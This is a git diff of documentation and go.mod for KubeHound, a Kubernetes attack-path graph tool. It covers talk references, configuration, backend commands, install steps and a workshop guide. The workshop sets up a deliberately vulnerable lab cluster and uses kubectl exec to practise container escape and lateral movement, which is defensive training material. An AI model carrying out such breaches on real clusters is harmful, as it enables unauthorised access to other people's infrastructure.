schema](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/graph/kubehound-db-init.groovy) +- [Programmatically parsable schema](graph.yaml) diff --git a/docs/references.md b/docs/references.md index 9569f1f56..bf3dba03d 100644 --- a/docs/references.md +++ b/docs/references.md @@ -1,27 +1,92 @@ # References +## 2024 - HackLu Workshop + +### [KubeHound: Identifying attack paths in Kubernetes clusters at scale with no hustle](https://pretalx.com/hack-lu-2024/talk/HWDZGZ/) + +[Slides :fontawesome-solid-file-pdf:{ .pdf } ](files/hacklu24/Kubehound-Workshop-HackLu24.pdf){ .md-button } [Jupyter notebook :fontawesome-brands-python:{ .python } ](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound/notebook/KubehoundDSL_101.ipynb){ .md-button } + +Updated version of the Pass The Salt Workshop. Prerequisites are listed on [kubehound.io/workshop](https://kubehound.io/workshop/). The workshop is a hands-on session where participants will learn how to use KubeHound to identify attack paths in Kubernetes clusters. The workshop will cover the following topics: + +- Hack a vulnerable Kubernetes cluster (exploiting 4 differents attacks in a local environement). +- Use KubeHound to identify specific resources in the vulnerable cluster. +- Use KubeHound to identify attack paths in the vulnerable cluster. + +## 2024 - HackLu presentation + +### [KubeHound: Identifying attack paths in Kubernetes clusters at scale with no hustle](https://pretalx.com/hack-lu-2024/talk/HWDZGZ/) + +[Recording :fontawesome-brands-youtube:{ .youtube } ](https://www.youtube.com/watch?v=h-dD7PQC4NA){ .md-button .md-button--youtube } [Slides :fontawesome-solid-file-pdf:{ .pdf } ](files/hacklu24/Kubehound-HackLu2024-slides.pdf){ .md-button } + +This presentation explains the genesis behind the tool and a brief introduction to what Kubernetes security is. We showcase the three main usage for KubeHound: + +- As a standalone tool to identify attack paths in a Kubernetes cluster from a laptop (the automatic mode and easy way to dump and ingest the data). +- As a blue teamer with **KubeHound as a Service** or **KHaaS** which allow using KubeHound to be used with a distributed model across multiple Kuberentes Clusters to generate continuously a security posture on a daily basis. +- As a consultant using the asynchronously mechanism to dump and rehydrate the KubeHound state from 2 different locations. + +## 2024 - Pass The Salt (PTS) Workshop + +### [KubeHound: Identifying attack paths in Kubernetes clusters at scale with no hustle](https://cfp.pass-the-salt.org/pts2024/talk/WA99YZ/) + +[Slides :fontawesome-solid-file-pdf:{ .pdf } ](files/PassTheSalt24/Kubehound-Workshop-PassTheSalt_2024.pdf){ .md-button } [Jupyter notebook :fontawesome-brands-python:{ .python } ](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound/notebook/KubehoundDSL_101.ipynb){ .md-button } + +The goal of the workshop was to showcase **how to use KubeHound to pinpoint security issues in a Kubernetes cluster and get a concrete security posture**. + +But first, as attackers (or defenders), there's nothing better to understand an attack than to exploit it oneself. So the workshop started with some of the most common attacks (container escape and lateral movement) and **let attendees exploit them in our vulnerable cluster**. + +After doing some introduction around Kubernetes basic and Graph theory, the attendees played with KubeHound to ingest data synchronously and asynchronously (dump and rehydrate the data). Then we **covered all the KubeHound DSL and basic gremlin usage**. The goal was to go over the possibilities of the KubeHound DSL like: + +- List all the port and IP addresses being exposed outside of the k8s cluster +- Enumerate how attacks are present in the cluster +- List all attacks path from endpoints to node +- List all endpoint properties by port with serviceEndpoint and IP addresses that lead to a critical path +- ... + +The workshop finished with some "real cases" scenario either from a red teamer or blue teamer point of view. The goal was to show how the tool can be used in different scenarios (initial recon, attack path analysis, assumed breach on compromised resources such as containers or credentials, ...) + +All was done using the following notebook which is a step-by-step KubeHound DSL: + +- A [specific notebook](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound/notebook/KubeHoundDSL_101.ipynb) to describe all KubeHound DSL queries and how you can leverage them. Also this notebook describes the basic Gremlin needed to handle the KubeHound DSL for specific cases. + +## 2024 - Troopers presentation + +### [Attacking and Defending Kubernetes Cluster with KubeHound, an Attack Graph Model](https://troopers.de/troopers24/talks/t8tc7m/) + +[Recording :fontawesome-brands-youtube:{ .youtube } ](#){ .md-button .md-button--youtube } [Slides :fontawesome-solid-file-pdf:{ .pdf } ](files/Troopers24/Kubehound-Troopers_2024-slides.pdf){ .md-button } [Dashboard PoC :fontawesome-brands-python:{ .python } ](https://github.com/DataDog/KubeHound/tree/main/scripts/dashboard-demo){ .md-button } + +This presentation explains the genesis behind the tool. A specific focus was made on the new version **KubeHound as a Service** or **KHaaS** which allow using KubeHound with a distributed model across multiple Kuberentes Clusters. We also introduce a new command that allows consultants to use KubeHound asynchronously (dumping and rehydration later, in office for instance). + +2 demos were also shown: + +- A [ PoC :fontawesome-brands-python:{ .python } of a dashboard](#) was created to show how interesting KPI can be extracted easily from KubeHound. +- A [specific notebook](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound/notebook/KubeHound_demo.ipynb) to show how to shift from a can of worms to the most critical vulnerability in a Kubernetes Cluster with a few KubeHound requests. + +Also we showed how the tool has been built and lessons we have learned from the process. + ## 2024 - InsomniHack 2024 presentation -### [Standing on the Shoulders of Giant(Dog)s: A Kubernetes Attack Graph Model](https://www.insomnihack.ch/talks-2024/#BZ3UA9) -[Recording :fontawesome-brands-youtube:{ .youtube } ](#){ .md-button .md-button--youtube } [Slides :fontawesome-solid-file-pdf:{ .pdf } ](files/insomnihack24/Kubehound - Insomni'Hack 2024 - slides.pdf){ .md-button } [Dashboard PoC :fontawesome-brands-python:{ .python } ](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound/scripts/dashboard-insomnihack24k){ .md-button } +### [Standing on the Shoulders of Giant(Dog)s: A Kubernetes Attack Graph Model](https://www.insomnihack.ch/talks-2024/#BZ3UA9) + +[Recording :fontawesome-brands-youtube:{ .youtube } ](https://www.youtube.com/watch?v=sy_ijtW6wmQ){ .md-button .md-button--youtube } [Slides :fontawesome-solid-file-pdf:{ .pdf } ](files/insomnihack24/Kubehound - InsomniHack 2024 - slides.pdf){ .md-button } [Dashboard PoC :fontawesome-brands-python:{ .python } ](https://github.com/DataDog/KubeHound/tree/main/scripts/dashboard-demo){ .md-button } -This presentation explains why the tool was created and what problem it tries to solve. 2 demos were showed: +This presentation explains why the tool was created and what problem it tries to solve. 2 demos were shown: -* A [ PoC :fontawesome-brands-python:{ .python } of a dashboard](#) was created to show how interesting KPI can be extracted easily from KubeHound. -* A [specific notebook](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound/notebook/InsomniHackDemo.ipynb) to show how to shift from a can of worms to the most critical vulnerability in a Kubernetes Cluster with a few KubeHound requests. +- A [ PoC :fontawesome-brands-python:{ .python } of a dashboard](#) was created to show how interesting KPI can be extracted easily from KubeHound. +- A [specific notebook](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound/notebook/InsomniHackDemo.ipynb) to show how to shift from a can of worms to the most critical vulnerability in a Kubernetes Cluster with a few KubeHound requests. It also showed how the tool has been built and lessons we have learned from the process. -## 2023 - Release v1.0 annoucement +## 2023 - Release v1.0 annoucement + ### [KubeHound: Identifying attack paths in Kubernetes clusters](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/) [Blog Article :fontawesome-brands-microblog: ](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/){ .md-button } Blog article published on [securitylabs](https://securitylabs.datadoghq.com) as a tutorial 101 on how to use the tools in different use cases: -* [Red team: Looking for low-hanging fruit](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#red-team-looking-for-low-hanging-fruit) -* [Blue team: Assessing the impact of a compromised container](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#blue-team-assessing-the-impact-of-a-compromised-container) -* [Blue team: Remediation](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#blue-team-remediation) -* [Blue team: Metrics and KPIs](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#blue-team-metrics-and-kpis) +- [Red team: Looking for low-hanging fruit](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#red-team-looking-for-low-hanging-fruit) +- [Blue team: Assessing the impact of a compromised container](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#blue-team-assessing-the-impact-of-a-compromised-container) +- [Blue team: Remediation](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#blue-team-remediation) +- [Blue team: Metrics and KPIs](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/#blue-team-metrics-and-kpis) -It also explain briefly how the tools works (what is under the hood). \ No newline at end of file +It also explain briefly how the tools works (what is under the hood). diff --git a/docs/terminology.md b/docs/terminology.md index d0d2ec5b8..e47a7faf3 100644 --- a/docs/terminology.md +++ b/docs/terminology.md @@ -24,4 +24,4 @@ All edges in the KubeHound graph represent a net "improvement" in an attacker's **Critical Asset** -An entity in KubeHound whose compromise would result in cluster admin (or equivalent) level access. \ No newline at end of file +An entity in KubeHound whose compromise would result in cluster admin (or equivalent) level access. diff --git a/docs/user-guide/advanced-configuration.md b/docs/user-guide/advanced-configuration.md new file mode 100644 index 000000000..2dabdb2c7 --- /dev/null +++ b/docs/user-guide/advanced-configuration.md @@ -0,0 +1,93 @@ +# Advanced configuration + +## Running KubeHound from source + +Clone the KubeHound repository and build KubeHound using the makefile: + +```bash +git clone https://github.com/DataDog/KubeHound.git +cd KubeHound +make build +``` + +The built binary is now available at: + +```bash +bin/build/kubehound +``` + +!!! warning + + We do not advise to build KubeHound from the sources as the docker images will use the latest flag instead of a specific release version. This mainly used by the developers/maintainers of KubeHound. + +## Configuration + +When using KubeHound you can setup different options through a config file with `-c` flags. You can use [kubehound-reference.yaml](https://github.com/DataDog/KubeHound/blob/main/configs/etc/kubehound-reference.yaml) as an example which list every options possible. + +### Collector configuration + +KubeHound is supporting 2 type of collector: + +- `file-collector`: The file collector which can process an offline dump (made by KubeHound - see [common operation](https://kubehound.io/) for the dump command). +- `live-k8s-api-collector` (by default): The live k8s collector which will retrieve all kubernetes objects from the k8s API. + +#### File Collector + +To use the file collector, you just have to specify: + +- `directory`: directory holding the K8s json data files + +!!! tip + + If you want to ingest data from a previous dump, we advise you to use `ingest local` command - [more detail here](https://kubehound.io/user-guide/common-operations/#ingest). + +!!! warning "deprecated" + + The `cluster` field is deprecated since v1.5.0. Now a metadata.json is being embeded with the cluster name. If you are using an old dump you can overwrite it using the `dynamic` section from the config file or just manually the `metadata.json` file. + +#### Live Collector + +When retrieving the kubernetes resources form the k8s API, KubeHound setup limitation to avoid resources exhaustion on the k8s API: + +- `rate_limit_per_second` (by default `50`): Rate limit of requests/second to the Kubernetes API. +- `page_size` (by default `500`): Number of entries retrieved by each call on the API (same for all Kubernetes entry types) +- `page_buffer_size` (by default `10`): Number of pages to buffer + +!!! note + + Most (>90%) of the current runtime of KubeHound is spent in the transfer of data from the remote K8s API server, and the bulk of that is spent waiting on rate limit. As such increasing `rate_limit_per_second` will improve performance roughly linearly. + +!!! tip + + You can disable the interactive mod with `non_interactive` set to true. This will automatically dump all k8s resources from the k8s API without any user interaction. + +### Builder + +The `builder` section allows you to customize how you want to chunk the data during the ingestion process. It is being splitted in 2 sections `vertices` and `edges`. For both graph entities, KubeHound uses a `batch_size` of `500` element by default. + +!!! warning + + Increasing batch sizes can have some performance improvements by reducing network latency in transferring data between KubeGraph and the application. However, increasing it past a certain level can overload the backend leading to instability and eventually exceed the size limits of the websocket buffer used to transfer the data. **Changing the default following setting is not recommended.** + +#### Vertices builder + +For the vertices builder, there is 2 options: + +- `batch_size_small` (by default `500`): to control the batch size of vertices you want to insert through +- `batch_size_small` (by default `100`): handle only the PermissionSet resouces. This resource is quite intensive because it is the only requirering aggregation between multiples k8s resources (from `roles` and `rolebindings`). + +!!! note + + Since there is expensive insert on vertices the `batch_size_small` is currently not used. + +#### Edges builder + +By default, KubeHound will optimize the attack paths for large cluster by using `large_cluster_optimizations` (by default `true`). This will limit the number of attack paths being build in the targetted cluster. Using this optimisation will remove some attack paths. For instance, for the token based attacks (i.e. `TOKEN_BRUTEFORCE`), the optimisation will build only edges (between permissionSet and Identity) only if the targetted identity is `system:masters` group. This will reduce redundant attack paths: + +- If the `large_cluster_optimizations` is activated, KubeHound will use the default `batch_size` (by default `500). +- If the `large_cluster_optimizations` is deactivated, KubeHound will use a specific batch size configured through `batch_size_cluster_impact` for all attacks that make the graph grow exponentially. + +Lastly, the graph builder is using [pond](https://github.com/alitto/pond) library under the hood to handle the asynchronous tasks of inserting edges: + +- `worker_pool_size` (by default `5`): parallels ingestion process running at the same time (number of workers). +- `worker_pool_capacity` (by default `100`): number of cached elements in the worker pool. diff --git a/docs/user-guide/common-operations.md b/docs/user-guide/common-operations.md index b010593bc..370ac9f60 100644 --- a/docs/user-guide/common-operations.md +++ b/docs/user-guide/common-operations.md @@ -1,33 +1,127 @@ -# Common Operations +# Local Common Operations -### Restarting the backend +When running `./kubehound`, it will execute the 3 following action: -The backend stack can be restarted via provided script commands. If running from source: +- run the `backend` (graphdb, storedb and UI) +- `dump` the kubernetes resources needed to build the graph +- `ingest` the dumped data and generate the attack path for the targeted Kubernetes cluster. + +All those 3 steps can be run separately. + +[![](../images/kubehound-local-commands.png)](../images/kubehound-local-commands.png) + +!!! note + + if you want to skip the interactive mode, you can provide `-y` or `--non-interactive` to skip the cluster confirmation. + +## Backend + +In order to run, KubeHound needs some docker containers to be running. Every commands has been embedded into KubeHound to simplify the user experience. You can find all the docker-compose used [here](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound). + +### Starting the backend + +#### Starting the backend with default images + +The backend stack can be started by using: + +```bash +kubehound backend up +``` + +It will use the latest [kubehound images releases](https://github.com/orgs/DataDog/packages?repo_name=KubeHound) + +#### Starting the backend with overrides + +For various reasons, you might want to use a specific version or pull the image from a specific registry. You can override the [default behaviour](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/docker-compose.yaml) by using the following `docker-compose.overrides.yaml` file: + +```yaml +name: kubehound-release +services: + mongodb: + image: your.registry.tld/mongo/mongo:6.0.6 + ports: + - "127.0.0.1:27017:27017" + + kubegraph: + image: your.registry.tld/datadog/kubehound-graph:my-specific-tag + ports: + - "127.0.0.1:8182:8182" + - "127.0.0.1:8099:8099" + + ui-jupyter: + image: your.registry.tld/datadog/kubehound-ui:my-specific-tag + + ui-invana-engine: + image: your.registry.tld/invanalabs/invana-engine:latest + + ui-invana-studio: + image: your.registry.tld/invanalabs/invana-studio:latest +``` + +Then you can start the backend with the following command: ```bash -make backend-reset +kubehound backend up -f docker-compose.overrides.yml ``` -Otherwise if using binary releases: +### Restarting/stopping the backend + +The backend stack can be restarted by using: + +```bash +kubehound backend reset +``` + +or just stopped: ```bash -kubehound.sh backend-reset +kubehound backend down ``` These commands will simply reboot backend services, but persist the data via docker volumes. ### Wiping the database -The backend data can be wiped via provided script commands. If running from source: +The backend data can be wiped by using: ```bash -make backend-reset-hard +kubehound backend wipe ``` -Otherwise if using binary releases: +!!! warning + + This command will **wipe ALL docker DATA (docker volume and containers) and will not be recoverable**. + +## Dump + +### Create a dump localy with all needed k8s resources + +For instance, if you want to dump a configuration to analyse it later or just on another computer, KubeHound can create a self sufficient dump with the Kubernetes resources needed. By default it will create a `.tar.gz` file with all the dumper k8s resources needed. ```bash -kubehound.sh backend-reset-hard +kubehound dump local [directory to dump the data] ``` -These commands will reboot backend services and wipe all data. +If for some reasons you need to have the raw data, you can add `--no-compress` flag to have a raw extract. + +!!! note + + This step does not require any backend as it only automate grabbing k8s resources from the k8s api. + +## Ingest + +### Ingest a local dump + +To ingest manually an extraction made by KubeHound, just specify where the dump is being located and the associated cluster name. + +```bash +kubehound ingest local [directory or tar.gz path] +``` + +!!! warning + + This step requires the backend to be started, it will not start it for you. + +!!! warning "deprecated" + + The `--cluster` is deprecated since v1.5.0. Now a metadata.json is being embeded with the cluster name. If you are using old dump you can either still use the `--cluster` flag or auto detect it from the path. diff --git a/docs/user-guide/getting-started.md b/docs/user-guide/getting-started.md index 0b5ed200e..0b5204e43 100644 --- a/docs/user-guide/getting-started.md +++ b/docs/user-guide/getting-started.md @@ -7,26 +7,20 @@ To get started with KubeHound, you'll need the following pre-requirements on you - [Docker](https://docs.docker.com/engine/install/) >= 19.03 (`docker version`) - [Docker Compose](https://docs.docker.com/compose/compose-file/compose-versioning/) >= v2.0 (`docker compose version`) -## Running KubeHound - -KubeHound ships with a sensible default configuration as well as a pre-built binary, designed to get new users up and running quickly. +These two are used to start the backend infrastructure required to run KubeHound. It also provides a default user interface via Jupyter notebooks. -First, download KubeHound: +## Running KubeHound -```bash -wget https://github.com/DataDog/KubeHound/releases/latest/download/KubeHound_$(uname -o | sed 's/GNU\///g')_$(uname -m).tar.gz -O kubehound.tar.gz -mkdir kubehound -tar -xf kubehound.tar.gz -C kubehound --strip-components=1 -cd kubehound -``` +KubeHound ships with a sensible default configuration as well as a pre-built binary, designed to get new users up and running quickly. -Then, prepare the application by running: +Download the latest KubeHound binary for you platform: ```bash -./kubehound.sh backend-up +wget https://github.com/DataDog/KubeHound/releases/latest/download/kubehound-$(uname -o | sed 's/GNU\///g')-$(uname -m) -O kubehound +chmod +x kubehound ``` -This will start [backend services](../architecture.md) via docker compose (wiping any existing data), and compile the kubehound binary from source. +Then just run `./kubehound`, it will start [backend services](../architecture.md) via docker compose v2 API. Next, make sure your current kubectl context points at the target cluster: @@ -43,45 +37,96 @@ kubectl config set-context Finally, run KubeHound with the default [configuration](https://github.com/DataDog/KubeHound/blob/main/configs/etc/kubehound.yaml): ``` -./kubehound.sh run +kubehound ``` Sample output: ```text -INFO[0000] Starting KubeHound (run_id: aff49337-5e36-46ea-ac1f-ed224bf215ba) component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Initializing launch options component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Loading application configuration from default embedded component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Initializing application telemetry component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Loading cache provider component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Loaded MemCacheProvider cache provider component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Loading store database provider component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Loaded MongoProvider store provider component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Loading graph database provider component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0000] Loaded JanusGraphProvider graph provider component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0001] Starting Kubernetes raw data ingest component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0001] Loading Kubernetes data collector client component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0001] Loaded k8s-api-collector collector client component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound +./kubehound +INFO[01:42:19] Loading application configuration from default embedded +WARN[01:42:19] No local config file was found (kubehound.yaml) +INFO[01:42:19] Using /home/datadog/kubehound for default config +INFO[01:42:19] Initializing application telemetry +WARN[01:42:19] Telemetry disabled via configuration +INFO[01:42:19] Loading backend from default embedded +WARN[01:42:19] Loading the kubehound images with tag latest - dev branch detected +INFO[01:42:19] Spawning the kubehound stack +[+] Running 3/3 + ✔ Container kubehound-release-kubegraph-1 Healthy 50.3s + ✔ Container kubehound-release-ui-jupyter-1 Healthy 50.3s + ✔ Container kubehound-release-mongodb-1 Healthy 58.4s +INFO[01:43:20] Starting KubeHound (run_id: 01j4fwbg88j6eptasgegdh2sgs) +INFO[01:43:20] Initializing providers (graph, cache, store) +INFO[01:43:20] Loading cache provider +INFO[01:43:20] Loaded memcache cache provider +INFO[01:43:20] Loading store database provider +INFO[01:43:20] Loaded mongodb store provider +INFO[01:43:21] Loading graph database provider +INFO[01:43:21] Loaded janusgraph graph provider +INFO[01:43:21] Running the ingestion pipeline +INFO[01:43:21] Loading Kubernetes data collector client +WARN[01:43:21] About to dump k8s cluster: "kind-kubehound.test.local" - Do you want to continue ? [Yes/No] +yes +INFO[01:43:30] Loaded k8s-api-collector collector client +INFO[01:43:30] Starting Kubernetes raw data ingest +INFO[01:43:30] Loading data ingestor +INFO[01:43:30] Running dependency health checks +INFO[01:43:30] Running data ingest and normalization +INFO[01:43:30] Starting ingest sequences +INFO[01:43:30] Waiting for ingest sequences to complete +INFO[01:43:30] Running ingestor sequence core-pipeline +INFO[01:43:30] Starting ingest sequence core-pipeline +INFO[01:43:30] Running ingest group k8s-role-group +INFO[01:43:30] Starting k8s-role-group ingests +INFO[01:43:30] Waiting for k8s-role-group ingests to complete +INFO[01:43:30] Running ingest k8s-role-ingest +INFO[01:43:30] Running ingest k8s-cluster-role-ingest +INFO[01:43:30] Streaming data from the K8s API +INFO[01:43:32] Completed k8s-role-group ingest +INFO[01:43:32] Finished running ingest group k8s-role-group ... -INFO[0028] Building edge ExploitHostWrite component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0028] Edge writer 22 ContainerAttach::CONTAINER_ATTACH written component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0028] Building edge IdentityAssumeNode component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0029] Edge writer 8 ExploitHostWrite::EXPLOIT_HOST_WRITE written component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound +INFO[01:43:35] Completed k8s-pod-group ingest +INFO[01:43:35] Finished running ingest group k8s-pod-group +INFO[01:43:35] Completed ingest sequence core-pipeline +INFO[01:43:35] Completed pipeline ingest +INFO[01:43:35] Completed data ingest and normalization in 5.065238542s +INFO[01:43:35] Loading graph edge definitions +INFO[01:43:35] Loading graph builder +INFO[01:43:35] Running dependency health checks +INFO[01:43:35] Constructing graph +WARN[01:43:35] Using large cluster optimizations in graph construction +INFO[01:43:35] Starting mutating edge construction +INFO[01:43:35] Building edge PodCreate +INFO[01:43:36] Edge writer 10 PodCreate::POD_CREATE written +INFO[01:43:36] Building edge PodExec ... -INFO[0039] Completed edge construction component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0039] Completed graph construction component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound -INFO[0039] Attack graph generation complete in 39.108174109s component=kubehound run_id=aff49337-5e36-46ea-ac1f-ed224bf215ba service=kubehound +INFO[01:43:36] Starting dependent edge construction +INFO[01:43:36] Building edge ContainerEscapeVarLogSymlink +INFO[01:43:36] Edge writer 5 ContainerEscapeVarLogSymlink::CE_VAR_LOG_SYMLINK written +INFO[01:43:36] Completed edge construction +INFO[01:43:36] Completed graph construction in 773.2935ms +INFO[01:43:36] Stats for the run time duration: 5.838839708s / wait: 5.926496s / throttling: 101.501262% +INFO[01:43:36] KubeHound run (id=01j4fwbg88j6eptasgegdh2sgs) complete in 15.910406167s +WARN[01:43:36] KubeHound as finished ingesting and building the graph successfully. +WARN[01:43:36] Please visit the UI to view the graph by clicking the link below: +WARN[01:43:36] http://localhost:8888 +WARN[01:43:36] Password being 'admin' ``` - ## Access the KubeHound data -At this point, the KubeHound data has been ingested in KubeHound's [graph database](../architecture.md). -You can use any client that supports accessing JanusGraph - a comprehensive list is available on the [JanusGraph home page](https://janusgraph.org/). We also provide a showcase [Jupyter Notebook](../../deployments/kubehound/notebook/KubeHound.ipynb) to get you started. This is accessible on [http://locahost:8888](http://locahost:8888) after starting KubeHound backend. The default password is `admin` but you can change this by setting the `NOTEBOOK_PASSWORD` environment variable in your `.env file`. +At this point, the KubeHound data has been ingested in KubeHound's [graph database](../architecture.md). +You can use any client that supports accessing JanusGraph - a comprehensive list is available on the [JanusGraph home page](https://janusgraph.org/). +We also provide a showcase [Jupyter Notebook](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/ui/KubeHound.ipynb) to get you started. This is accessible on [http://localhost:8888](http://localhost:8888) after starting KubeHound backend. The default password is `admin` but you can change this by setting the `NOTEBOOK_PASSWORD` environment variable in your `.env file`. ## Visualize and query the KubeHound data -Once the data is loaded in the graph database, it's time to visualize and query it! +!!! note + + You can find the visual representation of the KubeHound graph model [here](../reference/graph/index.md). + +Once the data is loaded in the graph database, it's time to visualize and query it! You can explore it interactively in your graph client. Then, refer to KubeHound's [query library](../queries/index.md) to start asking questions to your data. @@ -94,4 +139,3 @@ make sample-graph ``` This will spin up a temporary local kind cluster, run KubeHound on it, and destroy the cluster. - diff --git a/docs/user-guide/troubleshooting.md b/docs/user-guide/troubleshooting.md index 51454817b..77bf1cac8 100644 --- a/docs/user-guide/troubleshooting.md +++ b/docs/user-guide/troubleshooting.md @@ -2,4 +2,13 @@ ## Backend Issues -The most common issues can usually be resolved by restarting the backend. See [Common Operations](./common-operations.md#restarting-the-backend) \ No newline at end of file +The most common issues can usually be resolved by restarting the backend. See [Common Operations](./common-operations.md#restartingstopping-the-backend) + +## Janusgraph (kubegraph container) won't start + +Make sure you have enough disk space. About 5GB is necessary for JanusGraph to start and ingest a (large) Kubernetes cluster data. + +On Linux, and if you have a "strongly" partitioned system, you should make sure your Docker setup has enough space available, one quick check can be done with: +```bash +df $(docker info| grep "Root Dir" | cut -d":" -f2) +``` \ No newline at end of file diff --git a/docs/workshop.md b/docs/workshop.md new file mode 100644 index 000000000..d68373855 --- /dev/null +++ b/docs/workshop.md @@ -0,0 +1,78 @@ +# Workshop + +## Requirements + +In order to run the workshop you need to install the following tools: + +- kubectl - [https://kubernetes.io/docs/tasks/tools/](https://kubernetes.io/docs/tasks/tools/) +- kind - [https://kind.sigs.k8s.io/docs/user/quick-start](https://kind.sigs.k8s.io/docs/user/quick-start) +- docker - [https://docs.docker.com/engine/install](https://docs.docker.com/engine/install ) +- make - package (sourceforge for Windows) + +Those following packages are needed to spin the lab used during the workshop. We are reusing our developing environment. + +For Mac user we have a oneliner to install everything (if you are using brew): + +```shell +brew update && brew install kubectl, kind, docker` +``` + +The last requirements is of course kubehound. You need to download the latest release from our repository: + +```shell +wget https://github.com/DataDog/KubeHound/releases/latest/download/kubehound-$(uname -o | sed 's/GNU\///g')-$(uname -m) -O kubehound +chmod +x kubehound +``` + +or + +```shell +brew update && brew install kubehound +``` + +## Cheatsheet + +### Starting the lab + +First you need to run spin our dev environement with a vulnerable cluster: + +```shell +cd $HOME +git clone https://github.com/DataDog/KubeHound.git +cd kubehound +make local-cluster-deploy +``` + +### Initiating Kubehound + +As the images used by KubeHound are quite heavy (due to Jupyter and Janusgraph), we want to make sure that we have them downloaded before starting the workshop. To do so, we can run the following command: + +```shell +./kubehound +``` + +This will pull all the images that will be needed during the workshop. + + +### Running the workshop + +In order to use our vulnerable cluster, we need to use the `kubeconfig` file generated when we created (with kind) our cluster. This variable needs to be exported in all the shell you will be using during the workshop. + +```shell +export KUBECONFIG=./test/setup/.kube-config +# Checking the clustername +kubectl config current-context +# Checking the pods deployed +kubectl get pods +``` + +During the workshop we will be playing with Kubernetes resources. We advise you to install [k9s](https://github.com/derailed/k9s) which is a great tool made by the community - provides a terminal UI to interact with k8s cluster. + +In order to test the attacks, we will assume breach of the containers. To execute a command you can jump into a container/pod using the following command: + +```shell +kubectl exec -it -- bash +``` +!!! note + + You can also use k9s (typing on `s` key when highlighting a pod). diff --git a/go.mod b/go.mod index 230c9890d..beaed7e76 100644 --- a/go.mod +++ b/go.mod @@ -1,102 +1,127 @@ module github.com/DataDog/KubeHound -go 1.22.0 +go 1.23.0 -toolchain go1.22.1 +// in-toto dependency must be bumped to v0.9.0 to fix a breaking change in the +// github.com/secure-systems-lab/go-securesystemslib package which breaks docker +// compose. +require github.com/in-toto/in-toto-golang v0.9.0 // indirect require ( - github.com/DataDog/datadog-go/v5 v5.5.0 - github.com/alitto/pond v1.8.3 - github.com/apache/tinkerpop/gremlin-go/v3 v3.7.2 - github.com/aws/aws-sdk-go-v2/config v1.27.18 - github.com/aws/aws-sdk-go-v2/service/s3 v1.55.1 - github.com/compose-spec/compose-go/v2 v2.1.2 - github.com/docker/cli v26.1.4+incompatible - github.com/docker/compose/v2 v2.27.1 - github.com/docker/docker v26.1.4+incompatible - github.com/go-playground/validator/v10 v10.21.0 + github.com/DataDog/datadog-go/v5 v5.6.0 + github.com/alitto/pond v1.9.2 + github.com/apache/tinkerpop/gremlin-go/v3 v3.7.3 + github.com/aws/aws-sdk-go-v2/config v1.29.7 + github.com/aws/aws-sdk-go-v2/service/s3 v1.77.1 + github.com/compose-spec/compose-go/v2 v2.4.8 + github.com/docker/cli v28.0.1+incompatible + github.com/docker/compose/v2 v2.33.1 + github.com/docker/docker v28.0.1+incompatible + github.com/go-playground/validator/v10 v10.25.0 github.com/hashicorp/go-multierror v1.1.1 - github.com/spf13/afero v1.11.0 - github.com/spf13/cobra v1.8.0 - github.com/stretchr/testify v1.9.0 - go.mongodb.org/mongo-driver v1.15.0 + github.com/oklog/ulid/v2 v2.1.0 + github.com/pkg/errors v0.9.1 + github.com/spf13/afero v1.12.0 + github.com/spf13/cobra v1.9.1 + github.com/spf13/viper v1.19.0 + github.com/stretchr/testify v1.10.0 + go.mongodb.org/mongo-driver v1.17.3 go.uber.org/ratelimit v0.3.1 - gocloud.dev v0.37.0 - golang.org/x/exp v0.0.0-20240604190554-fc45aab8b7f8 - google.golang.org/grpc v1.64.0 - google.golang.org/protobuf v1.34.1 - 